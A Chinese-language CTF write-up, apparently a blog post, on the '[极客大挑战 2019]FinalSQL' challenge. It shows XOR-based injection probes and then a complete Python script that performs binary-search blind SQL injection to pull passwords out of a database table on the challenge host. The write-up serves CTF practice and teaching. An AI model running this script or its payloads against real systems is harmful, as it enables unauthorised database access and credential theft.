sql注入 [极客大挑战 2019]FinalSQL1

打开题目

点击1到5号的结果

1号

2号

3号

4号

5号

这里直接令传入的id=6

传入id=1^1^1

逻辑符号|会被检测到,而&感觉成了注释符,&之后的内容都被替换掉了。

传入id=1|1

直接盲注比较慢,还需要利用二分法来编写脚本

这里利用到大佬的脚本

复制代码
import requests


url = "http://b4d7330a-4880-41c4-a20c-3dae55d11c37.node4.buuoj.cn:81/search.php"
flag = ''

def payload(i, j):
    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
    data = {"id": sql}
    r = requests.get(url, params=data)
    # print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0
    return res


def exp():
    global flag
    for i in range(1, 10000):
        print(i, ':')
        low = 31
        high = 127
        while low <= high:
            mid = (low + high) // 2
            res = payload(i, mid)
            if res:
                low = mid + 1
            else:
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)


exp()
print('flag=', flag)

运行一下得到flag

得到flag

参考文章:

极客大挑战 2019FinalSQL 1-CSDN博客

https://www.cnblogs.com/Article-kelp/p/14651000.html

相关推荐
夜雪一千10 小时前
MySQL 全局锁是什么?原理、风险、备份踩坑完整实战
android·mysql·adb
又见情义16 小时前
RK3568 Android 13 驱动适配实战:从零开始让SDK在自己的板子上跑起来
android·arm开发·驱动开发
霸道流氓气质17 小时前
MySQL 大表 DDL 变更 — 原理、方案与实践
android·数据库·mysql
明雨-开发18 小时前
Android打包时候Execution failed for task ‘:launcher:lintVitalAnalyzeRelease‘.
android
游戏开发爱好者818 小时前
开心上架是什么,一站式 Apple 开发者工作台总览
android·小程序·https·uni-app·iphone·webview
Android-Flutter18 小时前
android kotlin launch 源码分析
android·kotlin
Android-Flutter19 小时前
android kotlin 状态机 Continuation 详解
android·kotlin
Zha0Zhun20 小时前
Jetpack Compose 实现 iOS 风格 3D WheelPicker
android
深念Y21 小时前
RIO-UL00(EMUI 4.1 / Android 6.0.1 / arm64)开机自启动 sshd
android·linux·华为·安卓·chroot·sshd·emui
爱和冰阔落21 小时前
【MySQL 慢查询排查实战】列表接口逐渐变慢时,怎样从请求链路定位原因
android·数据库·mysql